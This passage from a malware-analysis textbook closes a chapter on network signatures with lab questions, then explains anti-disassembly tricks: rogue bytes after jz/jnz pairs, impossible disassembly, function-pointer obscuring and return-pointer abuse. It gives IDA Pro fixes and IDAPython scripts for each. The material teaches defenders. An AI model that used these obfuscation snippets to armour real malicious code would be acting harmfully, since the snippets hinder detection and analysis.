attacker’s communication protocol, the attacker’s adjustment will affect 
your signature as well. In order to avoid being rendered obsolete by the 
attacker’s response to another defender, try to identify aspects of mali-
cious operations that other defenders might not have focused on. Knowl-
edge gained from carefully observing the malware will help you develop 
a more robust signature.

Conclusion

In this chapter, we’ve described the way in which malware uses the network 
for command and control. We’ve also covered some of the techniques mal-
ware uses to disguise its activity to look like regular network traffic. Malware 
analysis can improve the effectiveness of network defense by providing 
insights into the signature-generation process.

We’ve described several advantages to basing network signatures on a 
deeper malware analysis, rather than a surface analysis of existing traffic cap-
tures or a sandbox-based analysis. Signatures based on malware analysis can 
be more precise, reducing the trial and error needed to produce low false-
positive signatures. Additionally, they have a higher likelihood of identifying 
new strains of the same malware.

This chapter has addressed what is often the endgame of basic malware 
analysis: development of an effective countermeasure to protect from future 
malware. However, this chapter assumes that it is possible to achieve a good 
understanding of the malware through dynamic and static analyses. In some 
cases, malware authors take active measures to prevent effective analysis. The 
next set of chapters explain the techniques malware authors use to stymie 
analysis and what steps you can take to ensure that you can fully decompose 
and understand the malware in question.
322 Chapter 14



L A B S
This chapter’s labs focus on identifying the networking components of mal-
ware. To some degree, these labs build on Chapter 13, since when develop-
ing network signatures, you’ll often need to deal with encoded content.

Lab 14-1

Analyze the malware found in file Lab14-01.exe. This program is not harmful 
to your system.

Questions

1. Which networking libraries does the malware use, and what are their 
advantages?

2. What source elements are used to construct the networking beacon, and 
what conditions would cause the beacon to change?

3. Why might the information embedded in the networking beacon be of 
interest to the attacker?

4. Does the malware use standard Base64 encoding? If not, how is the 
encoding unusual?

5. What is the overall purpose of this malware?

6. What elements of the malware’s communication may be effectively 
detected using a network signature?

7. What mistakes might analysts make in trying to develop a signature for 
this malware?

8. What set of signatures would detect this malware (and future variants)?

Lab 14-2

Analyze the malware found in file Lab14-02.exe. This malware has been con-
figured to beacon to a hard-coded loopback address in order to prevent it 
from harming your system, but imagine that it is a hard-coded external 
address.

Questions

1. What are the advantages or disadvantages of coding malware to use 
direct IP addresses?

2. Which networking libraries does this malware use? What are the advan-
tages or disadvantages of using these libraries?
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3. What is the source of the URL that the malware uses for beaconing? 
What advantages does this source offer?

4. Which aspect of the HTTP protocol does the malware leverage to 
achieve its objectives?

5. What kind of information is communicated in the malware’s initial 
beacon?

6. What are some disadvantages in the design of this malware’s communi-
cation channels?

7. Is the malware’s encoding scheme standard?

8. How is communication terminated?

9. What is the purpose of this malware, and what role might it play in the 
attacker’s arsenal?

Lab 14-3

This lab builds on Lab 14-1. Imagine that this malware is an attempt by 
the attacker to improve his techniques. Analyze the malware found in file 
Lab14-03.exe.

Questions

1. What hard-coded elements are used in the initial beacon? What ele-
ments, if any, would make a good signature?

2. What elements of the initial beacon may not be conducive to a long-
lasting signature?

3. How does the malware obtain commands? What example from the 
chapter used a similar methodology? What are the advantages of this 
technique?

4. When the malware receives input, what checks are performed on the 
input to determine whether it is a valid command? How does the 
attacker hide the list of commands the malware is searching for?

5. What type of encoding is used for command arguments? How is it differ-
ent from Base64, and what advantages or disadvantages does it offer?

6. What commands are available to this malware?

7. What is the purpose of this malware?

8. This chapter introduced the idea of targeting different areas of code 
with independent signatures (where possible) in order to add resiliency 
to network indicators. What are some distinct areas of code or configura-
tion data that can be targeted by network signatures?

9. What set of signatures should be used for this malware?
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PART 5
A N T I - R E V E R S E - E N G I N E E R I N G





A N T I - D I S A S S E M B L Y

Anti-disassembly uses specially crafted code or data in a 
program to cause disassembly analysis tools to produce 
an incorrect program listing. This technique is crafted 
by malware authors manually, with a separate tool in 
the build and deployment process or interwoven into 
their malware’s source code. 

All malware is designed with a particular goal in mind: keystroke logging, 
backdoor access, using a target system to send excessive email to cripple serv-
ers, and so on. Malware authors often go beyond this basic functionality to 
implement specific techniques to hide from the user or system administra-
tor, using rootkits or process injection, or to otherwise thwart analysis and 
detection.

Malware authors use anti-disassembly techniques to delay or prevent 
analysis of malicious code. Any code that executes successfully can be reverse-
engineered, but by armoring their code with anti-disassembly and anti-
debugging techniques, malware authors increase the level of skill required 
of the malware analyst. The time-sensitive investigative process is hindered by 



the malware analyst’s inability to understand the malware’s capabilities, 
derive valuable host and network signatures, and develop decoding algo-
rithms. These additional layers of protection may exhaust the in-house skill 
level at many organizations and require expert consultants or large research 
project levels of effort to reverse-engineer. 

In addition to delaying or preventing human analysis, anti-disassembly is 
also effective at preventing certain automated analysis techniques. Many mal-
ware similarity detection algorithms and antivirus heuristic engines employ 
disassembly analysis to identify or classify malware. Any manual or automated 
process that uses individual program instructions will be susceptible to the 
anti-analysis techniques described in this chapter.

Understanding Anti-Disassembly

Disassembly is not a simple problem. Sequences of executable code can 
have multiple disassembly representations, some that may be invalid and 
obscure the real functionality of the program. When implementing anti-
disassembly, the malware author creates a sequence that tricks the disas-
sembler into showing a list of instructions that differ from those that will 
be executed. 

Anti-disassembly techniques work by taking advantage of the assump-
tions and limitations of disassemblers. For example, disassemblers can only 
represent each byte of a program as part of one instruction at a time. If the 
disassembler is tricked into disassembling at the wrong offset, a valid instruc-
tion could be hidden from view. For example, examine the following frag-
ment of disassembled code:

                jmp     short near ptr loc_2+1
; ---------------------------------------------------------------------------

loc_2:                                  ; CODE XREF: seg000:00000000j
                call    near ptr 15FF2A71h 
                or      [ecx], dl
                inc     eax
; ---------------------------------------------------------------------------
                db    0

This fragment of code was disassembled using the linear-disassembly 
technique, and the result is inaccurate. Reading this code, we miss the piece 
of information that its author is trying to hide. We see what appears to be a 
call instruction, but the target of the call is nonsensical . The first instruc-
tion is a jmp instruction whose target is invalid because it falls in the middle of 
the next instruction.
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Now examine the same sequence of bytes disassembled with a different 
strategy:

                jmp     short loc_3
; ---------------------------------------------------------------------------
                db 0E8h
; ---------------------------------------------------------------------------

loc_3:                                  ; CODE XREF: seg000:00000000j
                push    2Ah
                call    Sleep 

This fragment reveals a different sequence of assembly mnemonics, and 
it appears to be more informative. Here, we see a call to the API function 
Sleep at . The target of the first jmp instruction is now properly represented, 
and we can see that it jumps to a push instruction followed by the call to Sleep. 
The byte on the third line of this example is 0xE8, but this byte is not exe-
cuted by the program because the jmp instruction skips over it. 

This fragment was disassembled with a flow-oriented disassembler, 
rather than the linear disassembler used previously. In this case, the flow-
oriented disassembler was more accurate because its logic more closely mir-
rored the real program and did not attempt to disassemble any bytes that 
were not part of execution flow. We’ll discuss linear and flow-oriented dis-
assembly in more detail in the next section.

So, disassembly is not as simple as you may have thought. The disassem-
bly examples show two completely different sets of instructions for the same 
set of bytes. This demonstrates how anti-disassembly can cause the disassem-
bler to produce an inaccurate set of instructions for a given range of bytes. 

Some anti-disassembly techniques are generic enough to work on most 
disassemblers, while some target specific products.

Defeating Disassembly Algorithms

Anti-disassembly techniques are born out of inherent weaknesses in dis-
assembler algorithms. Any disassembler must make certain assumptions in 
order to present the code it is disassembling clearly. When these assumptions 
fail, the malware author has an opportunity to fool the malware analyst. 

There are two types of disassembler algorithms: linear and flow-oriented. 
Linear disassembly is easier to implement, but it’s also more error-prone. 

Linear Disassembly
The linear-disassembly strategy iterates over a block of code, disassembling 
one instruction at a time linearly, without deviating. This basic strategy is 
employed by disassembler writing tutorials and is widely used by debuggers. 
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Linear disassembly uses the size of the disassembled instruction to determine 
which byte to disassemble next, without regard for flow-control instructions. 

The following code fragment shows the use of the disassembly library 
libdisasm (http://sf.net/projects/bastard/files/libdisasm/) to implement a crude 
disassembler in a handful of lines of C using linear disassembly:

char buffer[BUF_SIZE];
int position = 0;

while (position < BUF_SIZE) {
   x86_insn_t insn;
   int size = x86_disasm(buf, BUF_SIZE, 0, position, &insn);
   
   if (size != 0) {
      char disassembly_line[1024];
        x86_format_insn(&insn, disassembly_line, 1024, intel_syntax);
        printf("%s\n", disassembly_line);

position += size;
   } else {
        /* invalid/unrecognized instruction */

position++;
      }
}
x86_cleanup();

In this example, a buffer of data named buffer contains instructions to 
be disassembled. The function x86_disasm will populate a data structure with 
the specifics of the instruction it just disassembled and return the size of the 
instruction. The loop increments the position variable by the size value  if 
a valid instruction was disassembled; otherwise, it increments by one . 

This algorithm will disassemble most code without a problem, but it will 
introduce occasional errors even in nonmalicious binaries. The main draw-
back to this method is that it will disassemble too much code. The algorithm 
will keep blindly disassembling until the end of the buffer, even if flow-control 
instructions will cause only a small portion of the buffer to execute. 

In a PE-formatted executable file, the executable code is typically con-
tained in a single section. It is reasonable to assume that you could get away 
with just applying this linear-disassembly algorithm to the .text section con-
taining the code, but the problem is that the code section of nearly all bina-
ries will also contain data that isn’t instructions. 

One of the most common types of data items found in a code section is 
a pointer value, which is used in a table-driven switch idiom. The following 
disassembly fragment (from a nonlinear disassembler) shows a function that 
contains switch pointers immediately following the function code.
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          jmp     ds:off_401050[eax*4] ; switch jump

          ; switch cases omitted ...

          xor     eax, eax
          pop     esi
          retn
; ---------------------------------------------------------------------------
off_401050 dd offset loc_401020    ; DATA XREF: _main+19r

dd offset loc_401027    ; jump table for switch statement
dd offset loc_40102E
dd offset loc_401035

The last instruction in this function is retn. In memory, the bytes imme-
diately following the retn instruction are the pointer values beginning with 
401020 at , which in memory will appear as the byte sequence 20 10 40 00 
in hex. These four pointer values shown in the code fragment make up 
16 bytes of data inside the .text section of this binary. They also happen to 
disassemble to valid instructions. The following disassembly fragment would 
be produced by a linear-disassembly algorithm when it continues disassem-
bling instructions beyond the end of the function:

and [eax],dl
inc eax
add [edi],ah
adc [eax+0x0],al
adc cs:[eax+0x0],al
xor eax,0x4010

Many of instructions in this fragment consist of multiple bytes. The key 
way that malware authors exploit linear-disassembly algorithms lies in plant-
ing data bytes that form the opcodes of multibyte instructions. For example, 
the standard local call instruction is 5 bytes, beginning with the opcode 0xE8. 
If the 16 bytes of data that compose the switch table end with the value 0xE8, 
the disassembler would encounter the call instruction opcode and treat the 
next 4 bytes as an operand to that instruction, instead of the beginning of 
the next function. 

Linear-disassembly algorithms are the easiest to defeat because they are 
unable to distinguish between code and data.

Flow-Oriented Disassembly
A more advanced category of disassembly algorithms is the flow-oriented dis-
assembler. This is the method used by most commercial disassemblers such as 
IDA Pro. 

The key difference between flow-oriented and linear disassembly is that 
the disassembler doesn’t blindly iterate over a buffer, assuming the data is 
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nothing but instructions packed neatly together. Instead, it examines each 
instruction and builds a list of locations to disassemble.

The following fragment shows code that can be disassembled correctly 
only with a flow-oriented disassembler.

                test    eax, eax
jz      short loc_1A
push    Failed_string
call    printf
jmp     short loc_1D

; ---------------------------------------------------------------------------
Failed_string:  db 'Failed',0
; ---------------------------------------------------------------------------
loc_1A:  
                xor     eax, eax
loc_1D:
                retn

This example begins with a test and a conditional jump. When the flow-
oriented disassembler reaches the conditional branch instruction jz at , it 
notes that at some point in the future it needs to disassemble the location 
loc_1A at . Because this is only a conditional branch, the instruction at  
is also a possibility in execution, so the disassembler will disassemble this 
as well. 

The lines at  and  are responsible for printing the string Failed to the 
screen. Following this is a jmp instruction at . The flow-oriented disassem-
bler will add the target of this, loc_1D, to the list of places to disassemble in 
the future. Since jmp is unconditional, the disassembler will not automatically 
disassemble the instruction immediately following in memory. Instead, it will 
step back and check the list of places it noted previously, such as loc_1A, and 
disassemble starting from that point. 

In contrast, when a linear disassembler encounters the jmp instruction, 
it will continue blindly disassembling instructions sequentially in memory, 
regardless of the logical flow of the code. In this case, the Failed string 
would be disassembled as code, inadvertently hiding the ASCII string and 
the last two instructions in the example fragment. For example, the follow-
ing fragment shows the same code disassembled with a linear-disassembly 
algorithm.

                test    eax, eax
                jz      short near ptr loc_15+5
                push    Failed_string
                call    printf
                jmp     short loc_15+9
Failed_string:
                inc     esi
                popa
loc_15:
                imul    ebp, [ebp+64h], 0C3C03100h
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In linear disassembly, the disassembler has no choice to make about which 
instructions to disassemble at a given time. Flow-oriented disassemblers make 
choices and assumptions. Though assumptions and choices might seem 
unnecessary, simple machine code instructions are complicated by the 
addition of problematic code aspects such as pointers, exceptions, and 
conditional branching.

Conditional branches give the flow-oriented disassembler a choice of 
two places to disassemble: the true or the false branch. In typical compiler-
generated code, there would be no difference in output if the disassembler 
processes the true or false branch first. In handwritten assembly code and 
anti-disassembly code, however, the two branches can often produce differ-
ent disassembly for the same block of code. When there is a conflict, most 
disassemblers trust their initial interpretation of a given location first. Most 
flow-oriented disassemblers will process (and thus trust) the false branch of 
any conditional jump first.

Figure 15-1 shows a sequence of bytes and their corresponding machine 
instructions. Notice the string hello in the middle of the instructions. When 
the program executes, this string is skipped by the call instruction, and its 6 
bytes and NULL terminator are never executed as instructions.

Figure 15-1: call instruction followed by a string

The call instruction is another place where the disassembler must make 
a decision. The location being called is added to the future disassembly list, 
along with the location immediately after the call. Just as with the conditional 
jump instructions, most disassemblers will disassemble the bytes after the call 
instruction first and the called location later. In handwritten assembly, pro-
grammers will often use the call instruction to get a pointer to a fixed piece 
of data instead of actually calling a subroutine. In this example, the call 
instruction is used to create a pointer for the string hello on the stack. The 
pop instruction following the call then takes this value off the top of the stack 
and puts it into a register (EAX in this case).

When we disassemble this binary with IDA Pro, we see that it has pro-
duced disassembly that is not what we expected:

E8 06 00 00 00       call    near ptr loc_4011CA+1
68 65 6C 6C 6F push    6F6C6C65h

                     loc_4011CA:
00 58 C3             add     [eax-3Dh], bl

As it turns out, the first letter of the string hello is the letter h, which is 
0x68 in hexadecimal. This is also the opcode of the 5-byte instruction  push 
DWORD. The null terminator for the hello string turned out to also be the first 

RETh     e     l      l     o
E8

CALL POP
06 00 00 00 68 65 6c 00 58 C36c 6F
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byte of another legitimate instruction. The flow-oriented disassembler in IDA 
Pro decided to process the thread of disassembly at  (immediately follow-
ing the call instruction) before processing the target of the call instruction, 
and thus produced these two erroneous instructions. Had it processed the 
target first, it still would have produced the first push instruction, but the 
instruction following the push would have conflicted with the real instructions 
it disassembled as a result of the call target. 

If IDA Pro produces inaccurate results, you can manually switch bytes 
from data to instructions or instructions to data by using the C or D keys on 
the keyboard, as follows:

 Pressing the C key turns the cursor location into code.

 Pressing the D key turns the cursor location into data. 

Here is the same function after manual cleanup:

E8 06 00 00 00                       call    loc_4011CB
68 65 6C 6C 6F 00    aHello          db 'hello',0
                                     loc_4011CB:                             
58                                   pop     eax
C3                                   retn

Anti-Disassembly Techniques

The primary way that malware can force a disassembler to produce inaccu-
rate disassembly is by taking advantage of the disassembler’s choices and 
assumptions. The techniques we will examine in this chapter exploit the 
most basic assumptions of the disassembler and are typically easily fixed by 
a malware analyst. More advanced techniques involve taking advantage of 
information that the disassembler typically doesn’t have access to, as well as 
generating code that is impossible to disassemble completely with conven-
tional assembly listings.

Jump Instructions with the Same Target
The most common anti-disassembly technique seen in the wild is two back-to-
back conditional jump instructions that both point to the same target. For 
example, if a jz loc_512 is followed by jnz loc_512, the location loc_512 will 
always be jumped to. The combination of jz with jnz is, in effect, an uncondi-
tional jmp, but the disassembler doesn’t recognize it as such because it only 
disassembles one instruction at a time. When the disassembler encounters 
the jnz, it continues disassembling the false branch of this instruction, 
despite the fact that it will never be executed in practice.
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The following code shows IDA Pro’s first interpretation of a piece of 
code protected with this technique:

74 03                  jz      short near ptr loc_4011C4+1
75 01                  jnz     short near ptr loc_4011C4+1

loc_4011C4:                     ; CODE XREF: sub_4011C0
                                                       ; sub_4011C0+2j
E8 58 C3 90 90        call    near ptr 90D0D521h

In this example, the instruction immediately following the two condi-
tional jump instructions appears to be a call instruction at , beginning 
with the byte 0xE8. This is not the case, however, as both conditional jump 
instructions actually point 1 byte beyond the 0xE8 byte. When this fragment 
is viewed with IDA Pro, the code cross-references shown at  loc_4011C4 will 
appear in red, rather than the standard blue, because the actual references 
point inside the instruction at this location, instead of the beginning of the 
instruction. As a malware analyst, this is your first indication that anti-
disassembly may be employed in the sample you are analyzing. 

The following is disassembly of the same code, but this time fixed with 
the D key, to turn the byte immediately following the jnz instruction into 
data, and the C key to turn the bytes at loc_4011C5 into instructions.

74 03                  jz      short near ptr loc_4011C5
75 01                  jnz     short near ptr loc_4011C5

; -------------------------------------------------------------------
E8                     db 0E8h

; -------------------------------------------------------------------
                       loc_4011C5:                     ; CODE XREF: sub_4011C0
                                                       ; sub_4011C0+2j
58                     pop     eax
C3                     retn

The column on the left in these examples shows the bytes that consti-
tute the instruction. Display of this field is optional, but it’s important when 
learning anti-disassembly. To display these bytes (or turn them off), select 
OptionsGeneral. The Number of Opcode Bytes option allows you to enter 
a number for how many bytes you would like to be displayed.

Figure 15-2 shows the sequence of bytes in this example graphically.

Figure 15-2: A jz instruction followed by a jnz instruction

JNZ POP RET

CALL

74 03 75 01 E8 58 C3

JZ
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A Jump Instruction with a Constant Condition
Another anti-disassembly technique commonly found in the wild is com-
posed of a single conditional jump instruction placed where the condition 
will always be the same. The following code uses this technique:

33 C0                  xor     eax, eax
74 01                  jz      short near ptr loc_4011C4+1

loc_4011C4:                             ; CODE XREF: 004011C2j
; DATA XREF: .rdata:004020ACo

E9 58 C3 68 94         jmp     near ptr 94A8D521h

Notice that this code begins with the instruction xor eax, eax. This instruc-
tion will set the EAX register to zero and, as a byproduct, set the zero flag. The 
next instruction is a conditional jump that will jump if the zero flag is set. In 
reality, this is not conditional at all, since we can guarantee that the zero flag 
will always be set at this point in the program. 

As discussed previously, the disassembler will process the false branch 
first, which will produce conflicting code with the true branch, and since it 
processed the false branch first, it trusts that branch more. As you’ve learned, 
you can use the D key on the keyboard while your cursor is on a line of code 
to turn the code into data, and pressing the C key will turn the data into 
code. Using these two keyboard shortcuts, a malware analyst could fix this 
fragment and have it show the real path of execution, as follows:

33 C0                  xor     eax, eax
74 01                  jz      short near ptr loc_4011C5

; --------------------------------------------------------------------
E9                     db 0E9h

; --------------------------------------------------------------------
loc_4011C5:                             ; CODE XREF: 004011C2j

; DATA XREF: .rdata:004020ACo
58                     pop     eax
C3                     retn

In this example, the 0xE9 byte is used exactly as the 0xE8 byte in the 
previous example. E9 is the opcode for a 5-byte jmp instruction, and E8 is the 
opcode for a 5-byte call instruction. In each case, by tricking the disassem-
bler into disassembling this location, the 4 bytes following this opcode are 
effectively hidden from view. Figure 15-3 shows this example graphically.

Figure 15-3: False conditional of xor followed by a jz instruction

XOR JZ POP RET

JMP

33 C0 74 01 E9 58 C3
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Impossible Disassembly
In the previous sections, we examined code that was improperly disassem-
bled by the first attempt made by the disassembler, but with an interactive 
disassembler like IDA Pro, we were able to work with the disassembly and 
have it produce accurate results. However, under some conditions, no tradi-
tional assembly listing will accurately represent the instructions that are exe-
cuted. We use the term impossible disassembly for such conditions, but the term 
isn’t strictly accurate. You could disassemble these techniques, but you would 
need a vastly different representation of code than what is currently provided 
by disassemblers. 

The simple anti-disassembly techniques we have discussed use a data byte 
placed strategically after a conditional jump instruction, with the idea that 
disassembly starting at this byte will prevent the real instruction that follows 
from being disassembled because the byte that is inserted is the opcode for a 
multibyte instruction. We’ll call this a rogue byte because it is not part of the 
program and is only in the code to throw off the disassembler. In all of these 
examples, the rogue byte can be ignored.

But what if the rogue byte can’t be ignored? What if it is part of a legiti-
mate instruction that is actually executed at runtime? Here, we encounter a 
tricky scenario where any given byte may be a part of multiple instructions 
that are executed. No disassembler currently on the market will represent a 
single byte as being part of two instructions, yet the processor has no such 
limitation. 

Figure 15-4 shows an example. The first instruction in this 4-byte sequence 
is a 2-byte jmp instruction. The target of the jump is the second byte of itself. 
This doesn’t cause an error, because the byte FF is the first byte of the next 
2-byte instruction, inc eax.

Figure 15-4: Inward-pointing jmp instruction

The predicament when trying to represent this sequence in disassembly 
is that if we choose to represent the FF byte as part of the jmp instruction, 
then it won’t be available to be shown as the beginning of the inc eax instruc-
tion. The FF byte is a part of both instructions that actually execute, and our 
modern disassemblers have no way of representing this. This 4-byte sequence 
increments EAX, and then decrements it, which is effectively a complicated 
NOP sequence. It could be inserted at almost any location within a program 
to break the chain of valid disassembly. To solve this problem, a malware ana-
lyst could choose to replace this entire sequence with NOP instructions using 
an IDC or IDAPython script that calls the PatchByte function. Another alterna-
tive is to simply turn it all into data with the D key, so that disassembly will 
resume as expected at the end of the 4 bytes.

JMP −1

INC EAX DEC EAX

EB FF C0 48
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For a glimpse of the complexity that can be achieved with these sorts of 
instruction sequences, let’s examine a more advanced specimen. Figure 15-5 
shows an example that operates on the same principle as the prior one, where 
some bytes are part of multiple instructions.

Figure 15-5: Multilevel inward-jumping sequence

The first instruction in this sequence is a 4-byte mov instruction. The last 
2 bytes have been highlighted because they are both part of this instruction 
and are also their own instruction to be executed later. The first instruction 
populates the AX register with data. The second instruction, an xor, will zero 
out this register and set the zero flag. The third instruction is a conditional 
jump that will jump if the zero flag is set, but it is actually unconditional, 
since the previous instruction will always set the zero flag. The disassembler 
will decide to disassemble the instruction immediately following the jz 
instruction, which will begin with the byte 0xE8, the opcode for a 5-byte 
call instruction. The instruction beginning with the byte E8 will never 
execute in reality. 

The disassembler in this scenario can’t disassemble the target of the jz 
instruction because these bytes are already being accurately represented as 
part of the mov instruction. The code that the jz points to will always be exe-
cuted, since the zero flag will always be set at this point. The jz instruction 
points to the middle of the first 4-byte mov instruction. The last 2 bytes of this 
instruction are the operand that will be moved into the register. When dis-
assembled or executed on their own, they form a jmp instruction that will 
jump forward 5 bytes from the end of the instruction.

When first viewed in IDA Pro, this sequence will look like the following:

66 B8 EB 05            mov     ax, 5EBh
31 C0                  xor     eax, eax
74 F9                  jz      short near ptr sub_4011C0+1
                loc_4011C8:                        
E8 58 C3 90 90         call    near ptr 98A8D525h

Since there is no way to clean up the code so that all executing instruc-
tions are represented, we must choose the instructions to leave in. The net 
side effect of this anti-disassembly sequence is that the EAX register is set to 
zero. If you manipulate the code with the D and C keys in IDA Pro so that the 
only instructions visible are the xor instruction and the hidden instructions, 
your result should look like the following.

MOV ax, 05EBh XOR eax, eax JZ -7

JMP 5

Fake CALL

Real Code

66 B8 EB 05 31 C0 74 F9 E8
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66                   byte_4011C0     db 66h
B8                                   db 0B8h
EB                                   db 0EBh
05                                   db    5

; ------------------------------------------------------------
31 C0                                xor     eax, eax

; ------------------------------------------------------------
74                                   db 74h
F9                                   db 0F9h 
E8                                   db 0E8h

; ------------------------------------------------------------
58                                   pop     eax
C3                                   retn  

This is a somewhat acceptable solution because it shows only the instruc-
tions that are relevant to understanding the program. However, this solution 
may interfere with analysis processes such as graphing, since it’s difficult to 
tell exactly how the xor instruction or the pop and retn sequences are executed. 
A more complete solution would be to use the PatchByte function from the 
IDC scripting language to modify remaining bytes so that they appear as NOP 
instructions. 

This example has two areas of undisassembled bytes that we need to con-
vert into NOP instructions: 4 bytes starting at memory address 0x004011C0 
and 3 bytes starting at memory address 0x004011C6. The following IDAPython 
script will convert these bytes into NOP bytes (0x90):

def NopBytes(start, length):
   for i in range(0, length):
     PatchByte(start + i, 0x90)
   MakeCode(start)

NopBytes(0x004011C0, 4)
NopBytes(0x004011C6, 3)

This code takes the long approach by making a utility function called 
NopBytes to NOP-out a range of bytes. It then uses that utility function against 
the two ranges that we need to fix. When this script is executed, the resulting 
disassembly is clean, legible, and logically equivalent to the original:

90                       nop
90                       nop
90                       nop
90                       nop
31 C0                    xor     eax, eax
90                       nop
90                       nop
90                       nop
58                       pop     eax
C3                       retn
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The IDAPython script we just crafted worked beautifully for this sce-
nario, but it is limited in its usefulness when applied to new challenges. To 
reuse the previous script, the malware analyst must decide which offsets and 
which length of bytes to change to NOP instructions, and manually edit the 
script with the new values. 

NOP-ing Out Instructions with IDA Pro
With a little IDA Python knowledge, we can develop a script that allows 
malware analysts to easily NOP-out instructions as they see fit. The following 
script establishes the hotkey ALT-N. Once this script is executed, whenever 
the user presses ALT-N, IDA Pro will NOP-out the instruction that is currently 
at the cursor location. It will also conveniently advance the cursor to the next 
instruction to facilitate easy NOP-outs of large blocks of code.

import idaapi

idaapi.CompileLine('static n_key() { RunPythonStatement("nopIt()"); }')

AddHotkey("Alt-N", "n_key")

def nopIt():
   
      start = ScreenEA()
      end = NextHead(start)
      for ea in range(start, end):
            PatchByte(ea, 0x90)
      Jump(end)
      Refresh()

Obscuring Flow Control

Modern disassemblers such as IDA Pro do an excellent job of correlating 
function calls and deducing high-level information based on the knowledge 
of how functions are related to each other. This type of analysis works well 
against code written in a standard programming style with a standard com-
piler, but is easily defeated by the malware author. 

The Function Pointer Problem
Function pointers are a common programming idiom in the C programming 
language and are used extensively behind the scenes in C++. Despite this, 
they still prove to be problematic to a disassembler.

Using function pointers in the intended fashion in a C program can 
greatly reduce the information that can be automatically deduced about pro-
gram flow. If function pointers are used in handwritten assembly or crafted 
in a nonstandard way in source code, the results can be difficult to reverse-
engineer without dynamic analysis. 

The following assembly listing shows two functions. The second function 
uses the first through a function pointer.
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004011C0 sub_4011C0      proc near               ; DATA XREF: sub_4011D0+5o
004011C0
004011C0 arg_0           = dword ptr  8
004011C0
004011C0                 push    ebp
004011C1                 mov     ebp, esp
004011C3                 mov     eax, [ebp+arg_0]
004011C6                 shl     eax, 2
004011C9                 pop     ebp
004011CA                 retn
004011CA sub_4011C0      endp

004011D0 sub_4011D0      proc near               ; CODE XREF: _main+19p
004011D0                                         ; sub_401040+8Bp
004011D0
004011D0 var_4           = dword ptr -4
004011D0 arg_0           = dword ptr  8
004011D0
004011D0                 push    ebp
004011D1                 mov     ebp, esp
004011D3                 push    ecx
004011D4                 push    esi
004011D5                 mov   [ebp+var_4], offset sub_4011C0
004011DC                 push    2Ah
004011DE                 call  [ebp+var_4]
004011E1                 add     esp, 4
004011E4                 mov     esi, eax
004011E6                 mov     eax, [ebp+arg_0]
004011E9                 push    eax
004011EA                 call  [ebp+var_4]
004011ED                 add     esp, 4
004011F0                 lea     eax, [esi+eax+1]
004011F4                 pop     esi
004011F5                 mov     esp, ebp
004011F7                 pop     ebp
004011F8                 retn
004011F8 sub_4011D0      endp

While this example isn’t particularly difficult to reverse-engineer, it does 
expose one key issue. The function sub_4011C0 is actually called from two dif-
ferent places ( and ) within the sub_4011D0 function, but it shows only one 
cross-reference at . This is because IDA Pro was able to detect the initial 
reference to the function when its offset was loaded into a stack variable on 
line 004011D5. What IDA Pro does not detect, however, is the fact that this 
function is then called twice from the locations  and . Any function pro-
totype information that would normally be autopropagated to the calling 
function is also lost. 

When used extensively and in combination with other anti-disassembly 
techniques, function pointers can greatly compound the complexity and dif-
ficulty of reverse-engineering. 
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Adding Missing Code Cross-References in IDA Pro
All of the information not autopropagated upward, such as function argu-
ment names, can be added manually as comments by the malware analyst. 
In order to add actual cross-references, we must use the IDC language (or 
IDAPython) to tell IDA Pro that the function sub_4011C0 is actually called 
from the two locations in the other function. 

The IDC function we use is called AddCodeXref. It takes three arguments: 
the location the reference is from, the location the reference is to, and a flow 
type. The function can support several different flow types, but for our pur-
poses, the most useful are either fl_CF for a normal call instruction or a fl_JF 
for a jump instruction. To fix the previous example assembly code listing in 
IDA Pro, the following script was executed:

AddCodeXref(0x004011DE, 0x004011C0, fl_CF);
AddCodeXref(0x004011EA, 0x004011C0, fl_CF);

Return Pointer Abuse
The call and jmp instructions are not the only instructions to transfer control 
within a program. The counterpart to the call instruction is retn (also repre-
sented as ret). The call instruction acts just like the jmp instruction, except it 
pushes a return pointer on the stack. The return point will be the memory 
address immediately following the end of the call instruction itself. 

As call is a combination of jmp and push, retn is a combination of pop and 
jmp. The retn instruction pops the value from the top of the stack and jumps 
to it. It is typically used to return from a function call, but there is no archi-
tectural reason that it can’t be used for general flow control. 

When the retn instruction is used in ways other than to return from a 
function call, even the most intelligent disassemblers can be left in the dark. 
The most obvious result of this technique is that the disassembler doesn’t 
show any code cross-reference to the target being jumped to. Another key 
benefit of this technique is that the disassembler will prematurely terminate 
the function. 

Let’s examine the following assembly fragment: 

004011C0 sub_4011C0      proc near               ; CODE XREF: _main+19p
004011C0                                         ; sub_401040+8Bp
004011C0
004011C0 var_4           = byte ptr -4
004011C0
004011C0                 call    $+5
004011C5                 add     [esp+4+var_4], 5
004011C9                 retn
004011C9 sub_4011C0      endp ; sp-analysis failed
004011C9
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004011CA ; ------------------------------------------------------------
004011CA                 push    ebp
004011CB                 mov     ebp, esp
004011CD                 mov     eax, [ebp+8]
004011D0                 imul    eax, 2Ah
004011D3                 mov     esp, ebp
004011D5                 pop     ebp
004011D6                 retn

This is a simple function that takes a number and returns the product 
of that number times 42. Unfortunately, IDA Pro is unable to deduce any 
meaningful information about this function because it has been defeated 
by a rogue retn instruction. Notice that it has not detected the presence of 
an argument to this function. The first three instructions accomplish the 
task of jumping to the real start of the function. Let’s examine each of 
these instructions.

The first instruction in this function is call $+5. This instruction simply 
calls the location immediately following itself, which results in a pointer to 
this memory location being placed on the stack. In this specific example, the 
value 0x004011C5 will be placed at the top of the stack after this instruction 
executes. This is a common instruction found in code that needs to be self-
referential or position-independent, and will be covered in more detail in 
Chapter 19. 

The next instruction is add [esp+4+var_4], 5. If you are used to reading 
IDA Pro disassembly, you might think that this instruction is referencing a 
stack variable var_4. In this case, IDA Pro’s stack-frame analysis was incorrect, 
and this instruction was not referencing what would be a normal stack vari-
able, autonamed to var_4 in an ordinary function. This may seem confusing 
at first, but notice that at the top of the function, var_4 is defined as the con-
stant -4. This means that what is inside the brackets is [esp+4+(-4)], which can 
also be represented as [esp+0] or simply [esp]. This instruction is adding five 
to the value at the top of the stack, which was 0x004011C5. The result of the 
addition instruction is that the value at the top of the stack will be 0x004011CA.

The last instruction in this sequence is the retn instruction, which has the 
sole purpose of taking this value off the stack and jumping to it. If you exam-
ine the code at the location 0x004011CA, it appears to be the legitimate 
beginning of a rather normal-looking function. This “real” function was 
determined by IDA Pro to not be part of any function due to the presence 
of the rogue retn instruction.

To repair this example, we could patch over the first three instructions 
with NOP instructions and adjust the function boundaries to cover the real 
function. 

To adjust the function boundaries, place the cursor in IDA Pro inside 
the function you wish to adjust and press ALT-P. Adjust the function end 
address to the memory address immediately following the last instruction 
in the function. To replace the first few instructions with nop, refer to the 
